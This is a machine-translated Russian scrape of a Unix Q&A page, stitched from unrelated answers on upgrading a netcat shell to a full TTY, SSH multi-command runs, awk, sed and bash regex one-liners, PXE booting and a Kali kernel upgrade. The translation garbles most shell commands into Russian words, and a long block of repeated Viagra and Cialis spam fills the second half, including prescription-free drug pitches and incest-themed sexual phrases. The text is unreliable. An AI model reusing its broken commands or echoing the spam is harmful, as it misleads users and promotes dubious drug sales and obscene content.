Теперь, как я понимаю, это оболочка без телетайп, Tab-ом, линия-редактирование, или история. То есть, влево, вправо, вверх и вниз клавиши результаты в ^[[Д,^[[А,^[[С,^[[Б, соответственно, а нажатие ^C и вызывает оболочку, чтобы завершить:

 $ телетайп
 не телетайп

Теперь, это довольно просто, чтобы начать ПТИ для раковины, так что такие команды, как Су может работать. Однако, оболочка по-прежнему не хватает необходимых функций (см. выше), что можно ожидать от обычной оболочки.

Если это возможно, как netcat, его инициатором будет повышен к чему-то, что напоминает обычный оболочка? Пожалуйста, объясните шаги.

+183
Theorem 1 сент. 2011 г., 02:30:55

Вам не нужно делать это здесь документ (что и << дряни).

Вы можете просто сделать СШ удаленныйузел "КОМАНДА1; команда2 ; command3"

например

% СШ имени localhost "Дата ; Время работы ; Echo привет"
пароль [email protected] в это: 
Вт июл 19 08:07:48 ЭДТ 2016
 08:07:48 до 15 дней, 31 мин, 3 пользователя, средняя нагрузка: 0.33, 0.33, 0.40
привет

В УПП, однако, не так легко слить таким образом.

Так что вы можете захотеть взглянуть на использование аутентификации по публичному ключу вместо пароля авторизации (также известный как "SSH-ключей"). Это нормально, как такие вещи автоматизированы.

+170
Plebala 19 авг. 2010 г., 02:11:03

Также можно сделать на awk:

файл awk'$2 ~ /^0$/ && 3 $~ /^0$/ && $4 ~ /^0$/ && $5 ~ /^0$/ || /100/' $
+140
user2157622 5 июн. 2014 г., 08:30:56

Используете bash регулярных выражений даст (при условии, что строки в переменной):

$ строка="по вертикали; выбор бла бла бла содержит все специальные символы, включая /*?&; Сделано"
$ [[ "$строка" =~ выберите(.*)Сделали ]] && Эхо ${BASH_REMATCH[1]}
бла бла бла содержит все специальные символы, включая /*?&;
+116
Rahul Gautam 6 мая 2018 г., 00:59:28
СЭД -П/С/!Р;/С/{С/С именем/foo/;п;: отдых; н; п; б остальные; файл}' 
+91
DCT 29 сент. 2018 г., 14:33:15

Я хочу, чтобы загрузить доски с PXE. При попытке загрузить ядро по TFTP сервер, он выдает ошибку:

Не хватает памяти, чтобы загрузить изображение

После расследования, я пришел, чтобы знать, что в основе доски есть отверстие памяти около 8 МБ, из-за которых я не могу загрузить kernel/initrd для большего размера.

Если у меня грузиться нормально на такой доске, жратва помогает мне с возможностью uppermem, которые обошли памяти дыра.

Файл syslinux документы для Linux.с32 для этой цели. Но не найти способ использовать его. Как его использовать ?

Или есть такой вариант, как uppermem, доступные для TFTP/PXE, так ?

+51
samdonly1 20 окт. 2013 г., 09:58:27

Я хотел обновить сам версии ядра вместо того, чтобы пытаться установить заголовки ядра Linux для старой версии (4.3.0) ядра. Выполните следующие действия после обновления Кали /и т. д./кв/источников.список файл с последней версией Кали прокатки репозитория:

суда apt-получить обновление # этот тянет последний список пакетов от источников Кали РЕПО
судо apt-получить -г дист-апгрейд # при установке этого, вы увидите самые последние ядра 
 # изображения в список пакетов для установки,что-то
 # как" Linux-образ-4.5.0-kali1-для amd64"
перезагрузка # самый важный шаг! убедитесь, что вы перезагрузите компьютер через cmd или 
 # выключение, перезагрузка принудительно после завершения предыдущего команд
uname-Р # проверить, что релиз ядра обновил
+46
djafar1013 10 янв. 2015 г., 12:23:46

Показать вопросы с тегом

$200 cialis coupon 10 mg tadalafil generic 5 mg cialis over the counter at walmart best price for tadalafil 20 mg buy cialis buy cialis generic tadalafil buy cialis online buy cialis online without script buy tadalafil buy tadalafil online canadian cialis online pharmacy canadian pharmacy cialis cheap cialis cheap cialis generic cialis cialis 20 mg best price cialis 20mg cialis 30 day sample cialis 30 day trial coupon cialis and alcohol cialis before and after cialis canada cialis canada pharmacy online cialis cost cialis coupon cialis coupons cialis coupons printable cialis dosage cialis dosage information cialis for daily use cialis for sale cialis free trial cialis free trial voucher for cialis cialis generic cialis generic release date cialis generic tadalafil cialis lowest price cialis online cialis online pharmacy cialis over the counter cialis over the counter at walmart cialis patent expiration date extended cialis picture testimonials cialis pills cialis price cialis prices cialis reviews cialis side effects cialis tadalafil cialis tadalafil 20 mg cialis vs viagra cialis vs viagra which is better cialis without a doctor's prescription cialis without doctor prescription cost of cialis cost of tadalafil generic at walgreens coupon for cialis by manufacturer does cialis lower blood pressure generic cialis generic cialis at walmart generic cialis canada generic cialis canada pharmacy generic cialis from india generic cialis tadalafil generic tadalafil generic tadalafil 20 mg is there a generic for cialis online cialis purchasing cialis on the internet side effects for cialis side effects for tadalafil side effects of cialis tadalafil tadalafil 20 mg tadalafil 20 mg canadian drug stores tadalafil 20mg tadalafil 20mg lowest price tadalafil 5 mg tadalafil 5mg tadalafil cost at walmart tadalafil dosage tadalafil generic tadalafil generic at walgreens tadalafil generic best prices tadalafil online tadalafil price tadalafil side effects tadalafil tablets tadalafil without a doctor's prescription viagra vs cialis viagra vs cialis vs levitra warnings for tadalafil $200 cialis coupon 10 mg tadalafil generic 5 mg cialis over the counter at walmart best price for tadalafil 20 mg buy cialis buy cialis generic tadalafil buy cialis online buy cialis online without script buy tadalafil buy tadalafil online canadian cialis online pharmacy canadian pharmacy cialis cheap cialis cheap cialis generic cialis cialis 20 mg best price cialis 20mg cialis 30 day sample cialis 30 day trial coupon cialis and alcohol cialis before and after cialis canada cialis canada pharmacy online cialis cost cialis coupon cialis coupons cialis coupons printable cialis dosage cialis dosage information cialis for daily use cialis for sale cialis free trial cialis free trial voucher for cialis cialis generic cialis generic release date cialis generic tadalafil cialis lowest price cialis online cialis online pharmacy cialis over the counter cialis over the counter at walmart cialis patent expiration date extended cialis picture testimonials cialis pills cialis price cialis prices cialis reviews cialis side effects cialis tadalafil cialis tadalafil 20 mg cialis vs viagra cialis vs viagra which is better cialis without a doctor's prescription cialis without doctor prescription cost of cialis cost of tadalafil generic at walgreens coupon for cialis by manufacturer does cialis lower blood pressure generic cialis generic cialis at walmart generic cialis canada generic cialis canada pharmacy generic cialis from india generic cialis tadalafil generic tadalafil generic tadalafil 20 mg is there a generic for cialis online cialis purchasing cialis on the internet side effects for cialis side effects for tadalafil side effects of cialis tadalafil tadalafil 20 mg tadalafil 20 mg canadian drug stores tadalafil 20mg tadalafil 20mg lowest price tadalafil 5 mg tadalafil 5mg tadalafil cost at walmart tadalafil dosage tadalafil generic tadalafil generic at walgreens tadalafil generic best prices tadalafil online tadalafil price tadalafil side effects tadalafil tablets tadalafil without a doctor's prescription viagra vs cialis viagra vs cialis vs levitra warnings for tadalafil blue chew viagra scam buy viagra buy viagra online buy viagra online canada pharmacy buy viagra online without script canada pharmacy viagra generic canadian pharcharmy online viagra canadian viagra canadian viagra without a doctor prescription cheap viagra cialis vs viagra cost of viagra female viagra female viagra pills free viagra free viagra samples generic viagra generic viagra 100mg generic viagra available generic viagra canada price generic viagra online pharmacy generic viagra sildenafil citrate generic viagra without a doctor prescription herbal viagra how does viagra work how long does viagra last how much does viagra cost how to take viagra for maximum effect i took viagra mom levitra vs viagra mom gives son viagra natural viagra natural viagra alternatives that work natural viagra substitute nizagara 100 mg vs viagra online viagra online viagra without subscription over the counter viagra real life viagra demonstration revatio vs viagra side effects of viagra sildenafil sildenafil 100mg sildenafil 20 mg sildenafil 20 mg tablet sildenafil 20 mg tablet vs viagra sildenafil citrate sildenafil citrate 100mg sildenafil citrate 20 mg sildenafil coupons sildenafil dosage sildenafil dosage recommendations sildenafil generic sildenafil side effects sophia viagra sophia viagra bikini sophia viagra hot stendra vs viagra stepmom gives son viagra viagra viagra 100mg viagra before after photo actual viagra boner viagra canada online pharmacy viagra coupon viagra coupons viagra coupons from pfizer viagra dosage viagra dosage recommendations viagra erection viagra erection after ejaculation viagra for men viagra for sale viagra for sale on amazon viagra for women viagra generic viagra generic availability viagra generic release date viagra in action viagra on line viagra online viagra online canada pharmacy viagra online pharmacy viagra patent expiration viagra pill viagra pills viagra porn viagra prank viagra prices viagra samples viagra sex viagra side effects viagra substitute viagra vs cialis viagra without a doctor prescription viagra without doctor prescription what is viagra when will generic viagra be available blue chew viagra scam buy viagra buy viagra online buy viagra online canada pharmacy buy viagra online without script canada pharmacy viagra generic canadian pharcharmy online viagra canadian viagra canadian viagra without a doctor prescription cheap viagra cialis vs viagra cost of viagra female viagra female viagra pills free viagra free viagra samples generic viagra generic viagra 100mg generic viagra available generic viagra canada price generic viagra online pharmacy generic viagra sildenafil citrate generic viagra without a doctor prescription herbal viagra how does viagra work how long does viagra last how much does viagra cost how to take viagra for maximum effect i took viagra mom levitra vs viagra mom gives son viagra natural viagra natural viagra alternatives that work natural viagra substitute nizagara 100 mg vs viagra online viagra online viagra without subscription over the counter viagra real life viagra demonstration revatio vs viagra side effects of viagra sildenafil sildenafil 100mg sildenafil 20 mg sildenafil 20 mg tablet sildenafil 20 mg tablet vs viagra sildenafil citrate sildenafil citrate 100mg sildenafil citrate 20 mg sildenafil coupons sildenafil dosage sildenafil dosage recommendations sildenafil generic sildenafil side effects sophia viagra sophia viagra bikini sophia viagra hot stendra vs viagra stepmom gives son viagra viagra viagra 100mg viagra before after photo actual viagra boner viagra canada online pharmacy viagra coupon viagra coupons viagra coupons from pfizer viagra dosage viagra dosage recommendations viagra erection viagra erection after ejaculation viagra for men viagra for sale viagra for sale on amazon viagra for women viagra generic viagra generic availability viagra generic release date viagra in action viagra on line viagra online viagra online canada pharmacy viagra online pharmacy viagra patent expiration viagra pill viagra pills viagra porn viagra prank viagra prices viagra samples viagra sex viagra side effects viagra substitute viagra vs cialis viagra without a doctor prescription viagra without doctor prescription what is viagra when will generic viagra be available $200 cialis coupon 10 mg tadalafil generic 5 mg cialis over the counter at walmart best price for tadalafil 20 mg buy cialis buy cialis generic tadalafil buy cialis online buy cialis online without script buy tadalafil buy tadalafil online canadian cialis online pharmacy canadian pharmacy cialis cheap cialis cheap cialis generic cialis cialis 20 mg best price cialis 20mg cialis 30 day sample cialis 30 day trial coupon cialis and alcohol cialis before and after cialis canada cialis canada pharmacy online cialis cost cialis coupon cialis coupons cialis coupons printable cialis dosage cialis dosage information cialis for daily use cialis for sale cialis free trial cialis free trial voucher for cialis cialis generic cialis generic release date cialis generic tadalafil cialis lowest price cialis online cialis online pharmacy cialis over the counter cialis over the counter at walmart cialis patent expiration date extended cialis picture testimonials cialis pills cialis price cialis prices cialis reviews cialis side effects cialis tadalafil cialis tadalafil 20 mg cialis vs viagra cialis vs viagra which is better cialis without a doctor's prescription cialis without doctor prescription cost of cialis cost of tadalafil generic at walgreens coupon for cialis by manufacturer does cialis lower blood pressure generic cialis generic cialis at walmart generic cialis canada generic cialis canada pharmacy generic cialis from india generic cialis tadalafil generic tadalafil generic tadalafil 20 mg is there a generic for cialis online cialis purchasing cialis on the internet side effects for cialis side effects for tadalafil side effects of cialis tadalafil tadalafil 20 mg tadalafil 20 mg canadian drug stores tadalafil 20mg tadalafil 20mg lowest price tadalafil 5 mg tadalafil 5mg tadalafil cost at walmart tadalafil dosage tadalafil generic tadalafil generic at walgreens tadalafil generic best prices tadalafil online tadalafil price tadalafil side effects tadalafil tablets tadalafil without a doctor's prescription viagra vs cialis viagra vs cialis vs levitra warnings for tadalafil